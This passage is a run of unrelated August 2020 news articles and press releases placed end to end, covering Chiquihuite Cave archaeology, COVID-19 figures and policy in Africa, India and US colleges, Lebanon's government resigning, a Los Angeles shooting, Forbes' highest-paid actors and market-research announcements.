nonprofit partners. Employees also volunteer with students as part of the companys philanthropy. The company also gave $1.5 million to San Franciscos coronavirus relief fund in March. We really try to go beyond the check. We want to be community partners, Beckwith said. Roland Li is a San Francisco Chronicle staff writer. Email: roland.li@sfchronicle.com Twitter: @rolandlisf (Natural News) Excavations in the Chiquihuite Cave in Zacatecas, Mexico unearthed nearly 2,000 stone artifacts that date back to as early as 33,000 years ago earlier than the arrival of Clovis people in North America which is dated around 13,500 years ago. This finding, published in the journal Nature, could rewrite the currently accepted narrative based on the Clovis first theory. According to this account, Clovis hunter-gatherers are the first to occupy North America. They crossed the Bering Strait land bridge that is now submerged in ocean waters. This occurred just a short time after the Last Glacial Maximum, a period during the last Ice Age where ice sheets were at their peak and sea levels were 400 feet lower than they are today. But evidence from Chiquihuite Cave argues that humans arrived in North America two times earlier than the Clovis people. Chiquihuites main contribution is that it brings you another tiny light, another tiny signal, that there is something there, said Ciprian Ardelean of the Autonomous University of Zacatecas. He has been leading excavations in the cave since 2011. Artifacts suggest earlier human occupation of North America Ardelean and his colleagues found tools such as blades, projectile points and flakes that have never before seen in the Americas. The team believes that these implements were brought into the cave by a group of humans. They also found about 200 specimens that are below a layer corresponding to the Last Glacial Maximum, suggesting humans were present in North America well before Clovis. The researchers aimed to reconstruct the environment that the humans possibly lived in and put a date on when they occupied the site. They developed a chronology of more than 50 radiocarbon and optical dates and combined them with the archaeological evidence. Results show that humans inhabited Chiquihuite as early as 33,000 years ago until the cave was sealed off at the end of the Pleistocene period around 12,000 years ago. (Related: Researchers discover ruins of lost colonial tavern in North Carolina: Cache of artifacts is a time capsule of history.) The team also discovered charcoal bits throughout the layers of sediment. While they could be burned either by human hands or in natural events, radiocarbon dating shows that they are about 12,000 to 32,000 years old. As to why humans would choose the cave given its inhospitable conditions, the team ran some tests on plant samples from 31 DNA extractions. They found that the cave was once much greener and wetter a shifting landscape of forests and grasslands. Coastal travel into North America Archaeologists from the University of Oxford Lorena Becerra-Valdivia and Thomas Higham conducted separate research, also published in the journal Nature. They were part of the earlier study, and this time they examined the wider pattern of human occupation across North America and Beringia, the ancient land bridge connecting America to Asia. They analyzed hundreds of dates obtained from 42 archaeological sites in North America and Beringia, including Chiquihuite Cave, through a statistical tool called Bayesian age modeling. Results also showed there were humans in North America before, during and immediately after the Last Glacial Maximum. The team argues that arrivals predating the Clovis people might have traveled along the coast, as inland travel would have been impossible at the time. Populations would only begin to spread throughout the continent much later when global temperatures rose around 14,700 years ago. The researchers also noted that the three major stone tool traditions in the wider region started around the same time. This coincided with an increase in archaeological sites and radiocarbon dates from those sites, as well as genetic data pointing to marked population growth. Human expansion in the region appears to play a significant role in the decline of large mammals such as horses, camels and mammoths. The researchers plotted the dates of the last appearance of the mammals and found they largely disappeared within this, and a succeeding, colder period. However, they admitted that faunal extinctions could also be due to climate change. These studies present a radically different view from the widely accepted Clovis hypothesis. Unsurprisingly, they are met with skepticism by several leading authorities. Some experts question whether the excavated tools were actual human artifacts or merely shaped into sharp-looking objects by natural processes. Other signs of human occupation are also absent, such as human bones or hearths. And the tools that the team found in the Chiquihuite Cave appear very different from anything anyone has known before. They dont seem related to previous archaeological finds. Still, its hard to completely dismiss these recent findings. The picture of Americas first settlement may be more complex, as Ardelean likes to remind his team. Chiquihuite team member Devlin Gandy added, We need to re-examine what we think we know about the peopling of the Americas, and we need to be open to a much longer time span. Sources include: WattsUpWithThat.com MexicoNewsDaily.com SmithsonianMag.com Source: Xinhua| 2020-08-10 23:48:27|Editor: huaxia Video Player Close A nurse is seen in the hallway of Fann's hospital in Dakar, Senegal, on Aug 6, 2020. (Xinhua/Eddy Peters) The number of confirmed COVID-19 cases is close to 1.05 million in Africa as death toll from the disease reached 23,253 as of Monday, according to the Africa CDC. ADDIS ABABA, Aug. 10 (Xinhua) -- The Africa Center for Disease Control and Prevention (Africa CDC) on Monday revealed the death toll due to illnesses related to the COVID-19 pandemic rose to 23, 253. The continent-wide COVID-19 related death toll registered an increase of 287 deaths compared to Sunday's 22,966 death toll report. The Africa CDC, a specialized healthcare agency of the African Union (AU) Commission, in its latest situation update issued on Monday, said the number of COVID-19 cases across the African continent has risen from 1,036,564 on Sunday to 1,047,218 as of Monday. The continental disease control and prevention agency also said the number of people who recovered from their COVID-19 infections also reached 733,375 so far. South Africa currently has the most COVID-19 cases at 559,858. South Africa also has the highest COVID-19 related deaths, with death toll currently standing at 10,408. Egypt comes next with 95,492 COVID-19 cases and 5,009 COVID-19 related deaths followed by Nigeria which has so far recorded 46,577 COVID-19 cases and 945 deaths. The Southern Africa region is the most affected area in terms of confirmed cases, followed by Northern Africa and Western Africa regions, the Africa CDC said. Amid the rapid spread of the COVID-19 pandemic across the continent, the Africa CDC had on Friday urged the African continent to increase compliance to the public health and social measures as the COVID-19 pandemic continued to gain momentum in Africa. Isolation boards are seen in a barbershop in Johannesburg, South Africa, Aug. 6, 2020. (Xinhua/Chen Cheng) "We must increase mass wearing of masks as we expand testing and treatment services," the Africa CDC Director John Nkengasong said in his message following the launch of the World Mask Week, slated from August 7 to 14, as an effort to increase the use of face coverings in public across the globe. As the pandemic spread across Africa, the Africa CDC together with the World Health Organization (WHO) and more than 40 other global, regional and national organizations and institutions have initiated the Pandemic Action Network, which launched the World Mask Week that envisaged increasing the use of face coverings in public in Africa and beyond. According to the Africa CDC, the newly introduced initiative encourages people and organizations in Africa and beyond to rally behind the importance of wearing a mask to stop the spread of COVID-19 during World Mask Week and every week until there is a vaccine available. The initiative was launched by the WHO Director-General Tedros Adhanom Ghebreyesus as part of his Wear a Mask challenge to mark the beginning of World Mask Week, asking people to share their mask photos and videos, it was noted. "Given the alarming exponential increase of infection rates in Africa and across the globe, sustained community masking in public is critical to stop the spread of COVID-19, even as situations vary around the world," the Africa CDC statement read. "Until we have vaccines or medicines to fight COVID-19, face coverings are one of the best tools we have -- particularly where social distancing is not practical," the Africa CDC noted. The Africa CDC, which noted that some 41 countries are practicing mandatory public use of face masks, stressed that preventing a crisis such as acute shortage of personal protective equipment for healthcare workers "should be prioritized by health authorities in Africa as part of the COVID-19 response." Amid the spread of the COVID-19 pandemic across the African continent, the Africa CDC had also disclosed that about 34 African countries are under "full border closure" in an effort to halt the spread of the infectious virus. Five people have been injured after gunmen opened fire at a large gathering at a Los Angeles movie studio. Police say that 150 to 200 people were gathered for a possible 'video shoot' on Lockness Avenue in the Harbor Gateway neighborhood when the shooting began around 12.30am on Tuesday. Five people were injured, ranging in age from 19 to 39, and the shooters are still at large, according to KTLA-TV. The shooting occurred at Cutting Edge Productions, a film studio that is also known to host private parties. Police say that 150 to 200 people were gathered for a possible 'video shoot' on Lockness Avenue in the Harbor Gateway neighborhood when the shooting began Five people have been injured after gunmen opened fire at a large gathering at a Los Angeles movie studio The owner of the studio told KTLA that he had rented out the space for a 'video shoot' and warehouse party. Women were heard arguing outside before bullets began to fly, witnesses said. Witnesses told KCBS-TV they heard anywhere from 30 to 50 gunshots. There were several cars parked in the area whose car windows were shattered by the gunfire. An LAPD spokesman said the victims were 'attending a large party at the warehouse when an unknown suspect drove up and fired randomly.' The shooting occurred at Cutting Edge Productions, a film studio that is also known to host private parties The shooting drew a massive police response, but so far the shooters are still at large 'The five victims were transported to local area hospitals here in the Harbor area,' LAPD Capt. Jay Mastick told reporters. 'All five were treated. One was in serious condition but is now in stable condition. All the victims are expected to be OK.' Police say the shooting is believed to be gang-related. So far this year, there have been 177 homicides in Los Angeles, a 14 percent increase from last year. At the same time, homicide arrests are down sharply, with 25 percent fewer arrests this year, according to LAPD crime data. Lebanese Government Resigns Following Beirut Blast By VOA News August 10, 2020 Lebanon's government resigned Monday in the aftermath of Tuesday's devastating explosion at Beirut's port and angry public protests that followed, the country's prime minister announced Monday night. "Today I announce the resignation of this government, may God protect Lebanon," Prime Minister Hassan Diab said in a televised speech. Diab said that he is taking "a step back" so he can stand with the people "and fight the battle for change alongside them." He did not say when new elections would be held. He laid the blame for the country's myriad problems at the feet of the country's political elite, who have ruled Lebanon since the end of the civil war nearly 30 years ago. He said they have caused political and economic devastation and brought about last week's tragedy. The decision comes after several ministers and lawmakers resigned, but calls continued for the entire government to go, including in mass demonstrations Saturday and Sunday. The country's leaders have been accused of widespread corruption and incompetence that contributed to Tuesday's devastating explosion. The massive blast, which killed at least 160 people, injured thousands and left more than 250,000 homeless, has been blamed on the detonation of 2,750 metric tonnes of ammonium nitrate that had been improperly stored for six years at Beirut Port. In New York, U.N. Secretary-General Antonio Guterres said the voices of the Lebanese people must be heard. "It is important that a credible and transparent investigation determine the cause of the explosion and bring about the accountability demanded by the Lebanese people," Guterres told a humanitarian briefing on blast. He did not specify if it should be conducted by the Lebanese authorities or an independent international commission. International solidarity with Lebanon has been strong and immediate. On Sunday, world leaders pledged nearly $300 million (253 million euros) to help the country already reeling from political, economic and health crises to recover from the explosion. World Powers Pledge Nearly $300 Million in Lebanon Aid in Wake of Beirut Blast However, donors stress transparency in how aid is spent, wary of sending assistance to a government that many Lebanese view as corrupt The United States has made an initial pledge of $17 million and sent three aircraft with medical supplies. Rebuilding is expected to cost billions of dollars. Economists have forecast the damage could erase up to 25% of the country's economic output. U.N. agencies are also on the ground assisting the population. Among their immediate concerns is getting a small part of Beirut Port operational in order to bring in food aid, medical and construction supplies. The head of the World Food Program said from Beirut that he believes they can get a small area of the port operational within 2-3 weeks in order to bring in grain. The country's silos were destroyed at the port and the country has only about a month's worth of wheat and grain left. Lebanon imports about 80% of its food supplies. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Dr. Eleni Maneta, Child and Adolescent Psychiatrist and Medical Director at CRCSI's New Directions school reports that, "children with pre-existing mental health conditions, may struggle more with returning to school during the ongoing COVID-19 pandemic. For those children, a therapeutic school like New Directions may be a better option." Dr. Maneta also added, "New Directions is a year-round, highly structured, therapeutic program that provides a unique combination of specialized mental health treatment and comprehensive educational services. In this setting, children can receive all the necessary support to start their recovery process, while at the same time completing their education." According to Dr. Padmaja Chilakapati, Child and Adolescent Psychiatrist at CRCSI, "Children may feel nervous or scared to return to school. You can help them feel at ease by going over some of the changes they may expect at school such as needing to wear masks for protection from their friends' coughs, maintaining distance from each other and washing hands frequently or sanitizing hands prior to touching their faces. Reassure your child about the safety measures that are in place to keep them and their teachers safe." Dr. Chilakapati also suggests that parents should approach all conversations with calmness and empathy, stating that you know that your child is feeling anxious about the corona virus, encourage them to talk about their anxieties that it's healthy to talk about what worries them and how they feel about it. With a staff of 7 Psychiatrists, Certified Nurse Practitioners and therapists, Chestnut Ridge Counseling Services has been the primary provider of mental healthcare for the past 55 years in Fayette County. Staff takes to heart the motto "We treat each person as if they are family". SOURCE Chestnut Ridge Counseling Services Related Links https://www.crcsi.org Some colleges are lowering the number of people allowed on campus and offering hybrid of in-person and online learning. Many US universities are revamping campuses to resume in-person classes despite coronavirus pandemic, requiring students to be tested, wear masks and maintain physical distance, but some college town residents and critics say schools are putting profits before public safety. Tulane University, a private college in New Orleans, plans to reopen on August 19 to as many as 13,000 students. Before students move in to dormitories, they must report to an Arrival Center at a city hotel where they will be guided through two days consisting of COVID-19 testing and orientation sessions, according to Tulanes published guidance. Maintenance workers at Tulane and other colleges are fitting auditoriums and classrooms with signage for physical distancing. Students are being asked to wear masks, and at Tulane, those who host parties or gatherings with more than 15 people could face expulsion, the college said. Rice University in Houston, Texas, has contracted for 60,000 COVID-19 tests and has bought temporary structures and open-sided tents for classes and meeting space. Cornell University in Ithaca, New York, will require that students enter into a behavioral compact aimed at stemming the spread of the novel coronavirus, which has killed more than 163,000 people in the United States and infected about 5.1 million. Tulane president Michael Fitts said enrollment has been largely unaffected by the pandemic. The interest in sort of the classic, undergraduate, on-ground experience has never been stronger, he said. Some US colleges are reducing the number of students who will be allowed on campus [Emily Elconin/Reuters] While college presidents like Fitts say public health is paramount, some industry experts point to schools powerful financial motivation to be on campus and in residences because of auxiliary revenue from services such as dining halls, bookstores, and vending machines. I dont think its only about money but it leads with money, higher education researcher Jeff Selingo said. Their entire business model, including their financial stability, is predicated on bringing people together in close proximity. Hybrids Some colleges, however, are lowering the number of people allowed on campus to reduce the risk of contagion, offering hybrids of in-person and online learning or altering the academic years structure. When the novel coronavirus shook the world back in March, US colleges almost uniformly shut down, dormitories emptied and classes moved online. What we are seeing this autumn is a million different scenarios, Selingo said. In late May, about two-thirds of US colleges and universities said they were planning to resume in-person instruction in the fall, according to data compiled by the Chronicle of Higher Education. That number declined to about 50 percent as of late July. Johns Hopkins University, a research institution in Baltimore, Maryland, is one of several schools that abandoned plans to have students return to campus. Unfortunately, the pandemic is worsening, Johns Hopkins president Ronald Daniels said in an August 6 letter. We have concluded that returning in person would pose unacceptable risks. Cornell, which has about 23,000 students, has said in-person classes will actually result in fewer coronavirus cases than a virtual semester. Colleges and universities have financial incentives for bringing students back services such as food halls, dormitories and bookstores bring them profit [File: Brian Snyder/Reuters] Thousands of students live off-campus, and many have indicated they will return to Ithaca even if classes are online, Cornell president Martha Pollack said in an August 5 letter. Resuming campus life makes it easier to monitor and test those students, wrote Pollack, who declined to be interviewed for this article. Students, for example, will have to fill out a daily online health assessment as part of a behavioural compact and will face penalties, including suspension, for misleading the school. Still, Cornells plan has drawn objections from some Ithaca residents. Ri Bornstein, an artist and administrative assistant, said townspeople have kept the virus under control by acting responsibly and that some students who already have returned to campus are not. Cornell is saying people will act appropriately, but then I look outside and see frat parties, Bornstein said. They are enacting the plan thats about the most possible profit for them, he asserted, saying Cornells modelling seems questionable and self-serving. Pollacks letter said the reopening plan was driven by science, not financial considerations. Pollack said while there could be more than 1,000 coronavirus cases during the coming semester, online learning would result in several thousand infections, according to statistical modelling done by Cornell data scientist Peter Frazier. As we all have learned, there are no perfect solutions to this deeply imperfect situation, she said. All we can do is strive our hardest for the best solutions we can find. Don't know when Gehlot-Pilot 'drama' begins again: Mayawati India pti-Deepika S New Delhi, Aug 11: Bahujan Samaj Party leader Mayawati on Tuesday said the Rajasthan governor should take note of the "serious political situation" in the state so that the people can get rid of the political uncertainty. She also said that though the Congress government in Rajasthan has survived a recent rebellion by some of its MLAs, no one knows when the "drama" between chief minister Ashok Gehlot and his former deputy Sachin Pilot begins again. In a statement, she said due to a long power tussle between Gehlot and Pilot, the state's fight against coronavirus and other works of public importance have suffered. "Under such a situation, keeping in mind the various problems of the people, the governor should fulfill his constitutional responsibility by taking note of the serious political situation it is our request," she said. On other issues, Mayawati cited media reports to note that the BJP has said that if needed, its government will build a grand statue of Lord Parshuram. Rajasthan crisis ends: But all is not well between Pilot & Gehlot | Oneindia News Pay attention to testing, Mayawati advises UP govt She said the BSP won't oppose it, but welcome it instead. The BJP should not delay the move and also declare his birthday a public holiday, she said. If the BJP does not do both the things, the BSP will do them when it comes to power, she said. Media consulting firm Ormax Media has announced the launch of The Ormax Prime Minister & Chief Minister Approval Rating. Based on continuous nationwide tracking across 22 states and one Union Territory, the polling tool covers 275+ cities and towns in India, with a monthly sample size of 12,000+. The Ormax Approval Rating will be Indias first through-the-year poll to track the public perception of the nations leadership. The tracking is being done independently by Ormax Media, with no affiliations to any media organisations or political parties. Approval Rating is a measure out of 100 (%) of the proportion of eligible voters who approve of the governance of the Prime Minister or the Chief Minister of their state. Speaking on the launch of the Ormax Approval Ratings, Shailesh Kapoor, CEO, Ormax Media, said, Approval Ratings are a norm in many democracies in the West, including the US. Hence, it is surprising to note that there has been no continuous tracking on the public perception of the political leadership in India all these years. After piloting this project for many months since mid-2018, we are now ready to roll out these ratings in the public domain. In a country with many political opinions and biases, including in the media, credibility and political neutrality are the cornerstones on which this poll has been conceptualised. We will not be sharing any ratings by religion, caste or any other such variable that can take the discourse around these ratings away from actual governance. As per the Ormax PM Approval Rating report released for the month of July 2020, Prime Minister Narendra Modis Approval Rating is steady at a high 68% since the 3rd week of July. The peak in July (70%) was seen in the week when the PM went to Ladakh to examine the situation at the border with China. His popularity is the highest in Madhya Pradesh, Gujarat, Rajasthan, Chhattisgarh and Punjab, where he enjoys 75%+ Approval Rating in July 2020. Odishas Chief Minister Naveen Patnaik and Himachal Pradeshs chief Minister Jai Ram Thakur are by far the most popular Chief Ministers across the 22 states covered in the track currently, with an Approval Rating of 69% each in July 2020. Uttar Pradeshs Yogi Adityanath and Assams Sarbananda Sonowal rank 3rd and 4th on the list, respectively. Dwayne Johnson has topped Forbes magazine's list of Hollywood's highest paid actors for the second year in a row. The wrestler-turned-actor bested the competition by taking home $87.5million. Hefty paychecks from Netflix helped these A-listers earn big, according to Forbes. The streaming giant shelled out a combined $140.5 for six of the actors gracing the top 10. Number one: Dwayne Johnson topped Forbes magazine's Highest Paid Actors list. He's seen in December 2019 above Netflix checks make up 25% of the $545.5 million made by the group as a whole. Payday: Netflix checks make up 25% of the $545.5 million made by the group as a whole The actor formerly known as The Rock's bottom line got a boost courtesy of a $23.5million payday from Netflix for the upcoming Red Notice. His Under Armour line Project Rock has also been profitable. Ryan Reynolds hit number two, taking home $71.5million. The charming Canadian received a hearty chunk of change for his Netflix work, making more than $20million each for Six Underground and Red Notice. Netflix announced they were making another Reynolds movie in July, meaning he can only expect another big payday. Mark Wahlberg took the third spot with $58million. His action comedy Spenser Confidential was a giant hit on Netflix, becoming the third most-watched original film on the platform. Behind the scenes Wahlberg made big bucks as the producer of the docuseries McMillions and Wahl Street. Ben Affleck joined at number four, earning $55million. The Oscar-winner returned to the big screen with The Way Back earlier this year. He also appeared in Netflixs The Last Thing He Wanted. Big bucks: Ryan Reynolds hit number two, taking home $71.5million. Over $40million of that came from Netflix. He's seen in May 2019 above Next in line: Mark Wahlberg took the third spot with $58million while Ben Affleck followed with $55million Revving engines: Vin Diesel earned $54million despite his guaranteed blockbuster F9's release being postponed. He's seen in March 2020 above Vin Diesel is just behind with $54million annually, putting him at number five. Though he'll have to postpone his massive backend payday for F9 after the film's release was pushed to April 2021, he cashed in on the franchise as producer on the animated Netflix series Fast & Furious Spy Races. Bollywood star Akshay Kumar made it to number six with $48.5million. While he earned some of that sweet streaming cash from The End for Amazon Prime, a majority of his checks come from his wide range of endorsement deals. Lin-Manuel Miranda made his list debut at number seven, earning $45.5million. Disney snagged the worldwide movie rights to his Broadway superhit Hamilton for a whopping $75million earlier this year. He's primed for another big success next year when the adaptation of In The Heights comes out. International appeal: Bollywood star Akshay Kumar made it to number six with $48.5million Music to my ears: Lin-Manuel made $45.5million, largely from Disney's $75million purchase for the movie rights to Hamilton. He's seen in January 2020 above On the list: Will Smith came in at number eight with $44.5million while Adam Sandler earned $41million, largely from his deal with Netflix Veteran: International icon Jackie Chan earned $40million. He's a dedicated worker, still producing about five movies a year. He's seen in Decemebr 2019 in Beijing above Will Smith came in at number eight with $44.5million. While he still commands high fees for acting, he also rakes in money with his social media and digital content, running a new Snapchat series and popular Instagram account. Adam Sandler ranked nine with $41million. He is a bona fide Netflix darling, earning $31 million 75% of what he made all year as part of his four-film, $250 million deal signed in 2014. He plans on riding that momentum, signing another four-movie deal with the platform in January. And for his critically-acclaimed turn in Uncut Gems, he added $5million to his coffers. Rounding out the top 10 is international icon Jackie Chan, who earned $40million. He keeps things consistent, releasing on average five films a year. Endorsement and licensing deals help flesh out those numbers. Technavio has been monitoring the amino acid fertilizer market and it is poised to grow by USD 184.05 million during 2020-2024, progressing at a CAGR of 8% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200811005083/en/ Technavio has announced its latest market research report titled Global Amino Acid Fertilizer Market 2020-2024 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please request Free Sample Report on Covid-19 Impact Frequently Asked Questions- At what CAGR is the market projected to grow during the forecast period 2020-2024? Growing at a CAGR of over 8%, the market growth will accelerate in the forecast period of 2020-2024. What is the key factor driving the market? Environmental stress affecting crop yield is one of the key factors driving market growth. What are the top players in the market? Agri Life SOM Phytopharma (India) Ltd., Aminocore, Futureco Bioscience SA, Gowan Co., Haifa Group, Humintech GmbH, Isagro Spa, Israel Chemicals Ltd., Protan AG, and Syngenta AG. are some of the major market participants. Which region is expected to hold the highest market share in the market? Europe What is the major trend of the market? Growing adoption of organic farming in developed countries is a major growth factor for the market. What is the year-over-year growth rate of the global market? The year-over year growth rate for 2020 is estimated at 8.01%. The market is concentrated, and the degree of concentration will accelerate during the forecast period. Agri Life SOM Phytopharma (India) Ltd., Aminocore, Futureco Bioscience SA, Gowan Co., Haifa Group, Humintech GmbH, Isagro Spa, Israel Chemicals Ltd., Protan AG, and Syngenta AG are some of the major market participants. The phenomenon of environmental stress affecting crop yield will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in fast-growing segments, while maintaining their position in the slow-growing segments. Amino Acid Fertilizer Market 2020-2024: Segmentation Amino Acid Fertilizer Market is segmented as below: Product Liquid Formulated Dry Formulated Geography Europe APAC North America South America MEA To learn more about the global trends impacting the future of market research, download a free sample: https://www.technavio.com/talk-to-us?report=IRTNTR43887 Amino Acid Fertilizer Market 2020-2024: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our amino acid fertilizer market report covers the following areas: Amino Acid Fertilizer Market size Amino Acid Fertilizer Market trends Amino Acid Fertilizer Market analysis This study identifies growing adoption of organic farming in developed countries as one of the prime reasons driving the amino acid fertilizer market growth during the next few years. Amino Acid Fertilizer Market 2020-2024: Vendor Analysis We provide a detailed analysis of vendors operating in the amino acid fertilizer market, including some of the vendors such as Agri Life SOM Phytopharma (India) Ltd., Aminocore, Futureco Bioscience SA, Gowan Co., Haifa Group, Humintech GmbH, Isagro Spa, Israel Chemicals Ltd., Protan AG, and Syngenta AG. Backed with competitive intelligence and benchmarking, our research reports on the amino acid fertilizer market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. 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Technavio's SUBSCRIPTION platform Amino Acid Fertilizer Market 2020-2024: Key Highlights CAGR of the market during the forecast period 2020-2024 Detailed information on factors that will assist amino acid fertilizer market growth during the next five years Estimation of the amino acid fertilizer market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the amino acid fertilizer market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of amino acid fertilizer market vendors Table of Contents: Executive Summary Market Landscape Market Sizing Five Forces Analysis Market Segmentation by Product Customer Landscape Geographic Landscape Vendor Landscape Vendor Analysis Appendix Explore Technavio About Us Technavio is a leading global technology research and advisory company. Their research and analysis focuses on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200811005083/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Source: Xinhua| 2020-08-12 01:24:37|Editor: huaxia Video Player Close -- China's top legislature resolved the "vacancy" concern of the HKSAR LegCo by adopting a decision for the current LegCo to continue performing duties. -- After Sept. 30, the sixth LegCo will continue performing duties for no less than a year until the seventh LegCo starts its four-year term. -- HKSAR Chief Executive Carrie Lam said the decision demonstrates once again the care and support of the central government for the HKSAR. BEIJING, Aug. 11 (Xinhua) -- Chinese lawmakers on Tuesday voted to adopt a decision for the sixth Legislative Council (LegCo) of the Hong Kong Special Administrative Region (HKSAR) to continue performing duties. The decision was passed at the 21st session of the Standing Committee of the 13th National People's Congress (NPC), China's top legislature. After Sept. 30, 2020, the sixth LegCo will continue performing duties for no less than a year until the term of the seventh LegCo starts. The term of the seventh LegCo will still be four years when it is formed in accordance with the law, according to the decision. Li Zhanshu, chairman of the NPC Standing Committee, presides over the closing meeting of the 21st session of the 13th NPC Standing Committee at the Great Hall of the People in Beijing, capital of China, Aug. 11, 2020. (Xinhua/Zhang Ling) The decision came as Hong Kong is endeavoring to contain a fresh COVID-19 outbreak since July. Hong Kong's health authorities reported 33 new COVID-19 cases on Tuesday, including 15 infections with unknown sources, bringing the total number of confirmed cases in the city to 4,181. HKSAR Chief Executive Carrie Lam announced in late July to postpone the election of the seventh-term LegCo, which was originally scheduled for Sept. 6, 2020, for one year due to the epidemic. On July 28, Carrie Lam submitted a report to the central government on matters concerning the postponement and asked the central government to request the NPC Standing Committee to make arrangements handling the vacancy of the LegCo incurred due to the postponement. The State Council on Saturday presented a bill to Chinese lawmakers asking the NPC Standing Committee to make a decision for the sixth LegCo to continue operation. Explaining the bill at the legislative session, Xia Baolong, head of the Hong Kong and Macao Affairs Office of the State Council, said matters concerning the vacancy of the LegCo can only be resolved by the NPC Standing Committee at the constitutional level, as the HKSAR Chief Executive only has the power to postpone the election under the applicable law in the HKSAR. The NPC Standing Committee has the power and duty to properly address constitutional issues arising from the implementation of the HKSAR Basic Law, according to Xia. HKSAR Chief Executive Carrie Lam announces the postponement of the 2020 Legislative Council General Election of the HKSAR due to the current COVID-19 outbreak, July 31, 2020. (Xinhua/Li Gang) NECESSARY, TIMELY MOVE Addressing the closing meeting of the NPC Standing Committee session, Li Zhanshu, chairman of the NPC Standing Committee, said the decision has provided constitutional basis and legal guarantee for upholding the rule of law in Hong Kong and ensuring the normal governance of the HKSAR government and the orderly functioning of Hong Kong society. In a statement supporting the NPC Standing Committee decision, the Hong Kong and Macao Affairs Office applauded the decision as "important" and "timely," and pledged to cooperate with relevant authorities in implementing the decision. In a separate statement, the Liaison Office of the Central People's Government in the HKSAR said the decision is in line with the Constitution and the HKSAR Basic Law and has unchallengeable legal authority. It will minimize social instability and enable the society to focus on the most pressing task of curbing the COVID-19 epidemic, said the liaison office. HKSAR Chief Executive Carrie Lam (R) meets with the president of the HKSAR Legislative Council Andrew Leung, on Aug. 11, 2020. (Xinhua) "CARE AND SUPPORT" Carrie Lam also expressed her gratitude to the NPC Standing Committee decision, saying it resolved the problem of a lacuna in the local legislature. The decision also demonstrates once again the care and support of the central government for the HKSAR, Lam said. The HKSAR government will publish in the gazette the decision and work to enable the sixth LegCo to resume operation, she said. In a meeting with LegCo President Andrew Leung, Lam exchanged views with Leung on the resumption of operation of the LegCo. Lam said the current epidemic situation in Hong Kong remains severe and various sectors have been hit hard. "I hope that under the continued leadership of Leung, LegCo members can set aside their differences and disputes, and rebuild mutual trust for the well-being of the Hong Kong residents," she said. Chan Man-ki, founding president of the Small and Medium Law Firms Association of Hong Kong, said she fully supports the decision of the NPC Standing Committee as it gives top priority to the life and health of Hong Kong residents. The decision also shows the resolve of the central authorities to fully support Hong Kong's anti-epidemic fight and safeguard Hong Kong's prosperity and stability, Chan said. (Video Reporter: Lin Ning; Video Editor: Luo Hui) Saudi Arabia and Argentina form R&D joint venture 09 March 2015 Share State-owned R&D companies from Argentina and Saudi Arabia have set up a joint venture company, Invania, to develop nuclear technology for Saudi Arabia's nuclear power program. Argentina's minister for planning Julio De Vido receives the Saudi Arabian delegation (Image: Ministry of Federal Planning) The foundation of the joint venture company between Taqnia of Saudi Arabia and Invap of Argentina was announced by Argentina's federal planning ministry and Invap during a visit by the Saudi Arabian consultative assembly, the Shura Council. Invania has been established under a nuclear cooperation agreement signed by the two countries in 2011. According to Invap, the joint venture aims to leverage Argentina's nuclear experience and capabilities to help Saudi Arabia implement its own nuclear power program. Argentina has a long history of nuclear technology R&D. Its atomic energy commission, the Comision Nacional de Energia Atomica (CNEA), was set up in 1950. Today, the country generates about one-tenth of its electricity from its three pressurized heavy water reactors with plans for more. A prototype 27 MWe Argentinian-designed modular reactor, CAREM, is under construction. The country has its own uranium mining and milling, enrichment and fuel fabrication and heavy water production capabilities. It also produces medical radioisotopes including molybdenum-99 and cobalt-60. Saudi Arabia is looking to nuclear power to help it meet growing demand for both electricity and desalination, with plans for the construction of as many as 16 reactors over the next 20 years. Smaller reactors, such as CAREM, are envisaged for use in desalination. The country has signed nuclear cooperation agreements with France, South Korea and China as well as Argentina. Researched and written by World Nuclear News Related topics Prime Minister Narendra Modi on Tuesday called out five states for low testing rates for coronavirus as he interacted with 10 chief ministers on the handling of the pandemic. Of the five states, three Bihar, Gujarat and Uttar Pradesh are states where the BJP is in power. The other two that were asked to ramp up testing at the meeting held via video conferencing were West Bengal and Telangana. The five states named by Modi for low testing have averages ranging from 9,180 tests per million of Bihar to 16,787 of Telangana. UP and Gujarat have conducted 14, 266 and 14, 973 tests per million while West Bengal stands at 11,683. PM Modi also spoke about the need for India to now start working on the 72-hour formula. He said that experts on the pandemic have argued that if within 72 hours of finding a person infected with Covid-19, all the people who have come in touch with the individual are traced and tested and positive among them quarantined, it could greatly help fight against the pandemic. "If we stress upon the 72-hour formula and use it in tandem with the other existing tools like increased testing, quarantining, etc. it would really give a big boost to our fight against the virus...Till now, our experience against coronavirus has shown that containment, contact tracing and surveillance have been the most effective weapons," Modi said. On Tuesday the Prime Minister held the meeting with Chief Minister of Andhra Pradesh, Karnataka, Tamil Nadu, West Bengal, Maharashtra, Punjab, Bihar, Gujarat, Telangana and Uttar Pradesh - the 10 states which together account for 80% of total cases in the country. The Prime Minister said that he was satisfied that at this time of crisis, the states and Centre have been working together as a team and it was this team spirit that has resulted in India maintaining a lower fatality rate than a lot of other countries in the world. "Our testing has increased to over seven lakh, which has greatly helped in identifying cases and containing them, and today we are seeing its results. The number of active cases is also dropping and the recovery rate is increasing, it means that our efforts are bearing fruit. If we continue to work in a sustained and focussed manner we will also reach our target of keeping the fatality rate below 1%," Modi said. India has significantly ramped up testing for Covid-19 in recent weeks, but testing rates in the country still remain woefully low by global standards. India has so 